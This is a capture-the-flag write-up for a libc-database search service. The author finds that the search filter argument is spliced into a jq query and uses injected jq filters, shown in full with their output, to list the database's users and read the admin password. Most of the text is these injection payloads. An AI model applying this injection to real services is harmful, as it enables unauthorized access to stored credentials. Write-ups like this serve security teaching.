When we netcat in, we get prompted for login and password. After entering the account given to us, we are prompted for a command```Authenticated {"users":{"username":"Dead","password":"pool"}}
 __    _ _       ____  _____|  |  |_| |_ ___|    \| __  ||  |__| | . |  _|  |  | __ -||_____|_|___|___|____/|_____|                         as a service
Type .help for help```
If we run `.help`, we are given a few commands```> .help.help                   Print this help.version                Print versions.search                 Search libcdb.secret                 Print flag```
Running `.secret` complains that we are not admin```> .secretnot adminno flag for u```
Running `.search` without any parameters gives us the syntax and an example query:```> .search.search <*symbol> <*addr> <filter>Ex: .search fprintf 0x4b970
* required field```
If we run the example query we get```Found:        id              6acfaae0398dce58e1857599a274f6d8        name            ubuntu_libc6-dbg_2.4-1ubuntu12.3_amd64        symbol          fprintf        address         0x4b970Found:        id              fc1e12693e5762252bc44256d5a72506        name            ubuntu_libc6-dbg_2.4-1ubuntu12_amd64        symbol          fprintf        address         0x4b970```
If we play around a bit and try to add some random `filter` arguments to the given example, we end up getting a syntax error:```> .search fprintf 0x4b980 *jq: error: syntax error, unexpected $end (Unix shell quoting issues?) at <top-level>, line 1:. as $maindb | .libcDB[] | select(.symbol=="fprintf") | select(.address|contains("309632")) | .*                        jq: 1 compile error```
We now know that the search command searches a json database with `jq`. 
Now, we can enumerate some of the keys of `$maindb` to look for what else may be in the json file. To do this, we can set a `filter` argument like `|$maindb|.+{id:keys[0]}`. 
The final jq query executed would look like `. as $maindb | .libcDB[] | select(.symbol=="fprintf") | select(.address|contains("309632")) |.|$maindb|.+{id:keys[0]}`.
After testing `keys[1]`, we see that `$maindb` has a `users` key:```> .search fprintf 0x4b970 |$maindb|.+{id:keys[1]}Found:        id              usersFound:        id              users```
We can use the same exploit to enumerate the keys in `$maindb['user'][0]`:```> .search fprintf 0x4b970 |$maindb|.["users"][0]|.+{id:keys[0]}Found:        id              passwordFound:        id              password> .search fprintf 0x4b970 |$maindb|.["users"][0]|.+{id:keys[1]}Found:        id              usernameFound:        id              username```
From here, we can just enumerate all of the usernames:```> .search fprintf 0x4b970 |$maindb|.["users"][0]|.+{id:.["username"]}Found:        id              3kFound:        id              3k> .search fprintf 0x4b970 |$maindb|.["users"][1]|.+{id:.["username"]}Found:        id              JamesFound:        id              James> .search fprintf 0x4b970 |$maindb|.["users"][2]|.+{id:.["username"]}Found:        id              LarsFound:        id              Lars> .search fprintf 0x4b970 |$maindb|.["users"][3]|.+{id:.["username"]}Found:        id              DeadFound:        id              Dead> .search fprintf 0x4b970 |$maindb|.["users"][4]|.+{id:.["username"]}Found:        id              adminFound:        id              admin```
Then, the `admin` password:```> .search fprintf 0x4b970 |$maindb|.["users"][4]|.+{id:.["password"]}Found:        id              v3ryL0ngPwC4nTgu3SS0xfffFound:        id              v3ryL0ngPwC4nTgu3SS0xfff```
We can then login with the admin credentials and run `.secret`.
